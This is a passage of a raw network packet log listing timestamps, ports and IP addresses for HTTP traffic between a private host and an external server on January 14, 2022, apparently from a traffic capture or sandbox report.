Jan 14, 2022 01:51:46.155664921 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155680895 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.155705929 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155744076 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.155802965 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.232770920 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.232837915 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.232880116 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.232919931 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.232960939 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.232996941 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233000994 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233027935 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233042955 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233078003 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233084917 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233104944 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233124971 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233165026 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233203888 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233222008 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233242035 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233269930 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233297110 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233329058 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233360052 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233392000 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233398914 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233443022 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233457088 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233484030 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233520031 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233546019 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233558893 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233577013 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233598948 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233637094 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233674049 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233690023 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233712912 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233726025 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233752012 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233792067 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233829021 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233845949 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233879089 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.233928919 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.233969927 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234009981 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234047890 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234069109 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234087944 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234095097 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234127045 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234165907 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234205008 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234220982 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234241009 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234253883 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234281063 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234319925 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234355927 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234375000 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234394073 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234431028 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234432936 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234472990 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234512091 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234525919 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234549046 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234560013 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234591007 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234628916 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234638929 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.234668016 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234707117 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.234756947 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.311788082 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.311856985 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.311894894 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.311934948 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.311971903 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312011957 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312041044 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312051058 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312088013 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312128067 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312150955 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312167883 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312206030 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312206984 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312212944 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312217951 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312247038 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312284946 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312324047 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312362909 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312400103 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312400103 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312412024 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312438965 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312479973 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312516928 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312529087 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312556982 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312572002 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312601089 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312639952 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312663078 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312680006 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312694073 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312717915 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312757015 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312796116 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312829018 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312832117 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312869072 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312875986 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312916040 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312956095 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.312993050 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.312994957 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313031912 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313033104 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313072920 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313112974 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313147068 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313148022 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313163996 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313189030 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313226938 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313265085 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313277960 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313303947 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313318014 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313342094 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313380957 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313419104 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313441992 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313456059 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313465118 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313496113 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313534975 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313574076 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313587904 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313613892 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313628912 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313652039 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313690901 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313728094 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313744068 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313765049 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313777924 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313803911 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313842058 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313922882 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.313925982 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313968897 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.313996077 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314008951 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314048052 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314085960 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314116001 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314131021 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314156055 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314163923 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314197063 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314234972 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314258099 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314275980 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314291954 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314316034 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314382076 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314420938 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314455986 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314459085 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314467907 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314497948 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314537048 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314554930 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314574003 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314611912 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314650059 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314666033 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314692974 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314716101 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314733982 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314769983 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314790010 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314830065 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314867973 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314887047 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.314905882 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314944029 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314981937 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.314996004 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.315032959 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392033100 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392102003 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392139912 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392182112 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392220974 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392249107 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392271996 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392307043 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392326117 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392364979 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392404079 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392414093 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392421961 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392445087 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392483950 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392523050 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392539024 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392563105 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392573118 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392602921 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392642975 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392680883 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392720938 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392735958 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392745972 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392761946 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392797947 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392837048 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392874956 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392869949 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392899036 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.392914057 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392951965 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.392991066 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393004894 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393028975 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393043041 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393069983 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393107891 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393146038 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393184900 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393213034 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393223047 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393224001 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393263102 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393302917 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393322945 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393345118 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393383980 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393420935 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393450022 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393459082 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393461943 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393501043 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393515110 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393539906 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393579960 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393616915 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393620968 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393656969 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393671036 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393696070 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393733025 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393770933 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393784046 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393810034 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393826008 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393871069 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393920898 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393959045 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.393974066 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.393996000 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394010067 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394035101 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394074917 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394109964 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394126892 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394150019 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394157887 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394190073 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394227028 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394264936 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394279957 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394304037 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394320011 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394344091 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394383907 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394419909 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394443989 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394459963 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394464016 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394500017 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394536018 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394575119 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394597054 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394612074 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394617081 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394651890 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394690990 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394726992 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394743919 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394766092 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394774914 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394805908 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394841909 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394881010 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394895077 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394920111 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394927025 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.394958973 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.394999027 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395035028 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395049095 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.395073891 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395083904 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.395112991 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395149946 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395188093 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395201921 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.395226955 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395235062 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.395267010 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395307064 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395342112 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.395359039 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.395390034 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.472464085 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472546101 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472608089 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472665071 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472676992 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.472713947 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.472724915 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472779989 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472834110 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.472835064 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472892046 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472943068 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.472956896 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:46.472995043 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473048925 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473104000 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:46.473104954 CET	49861	80	192.168.2.3	141.8.194.74
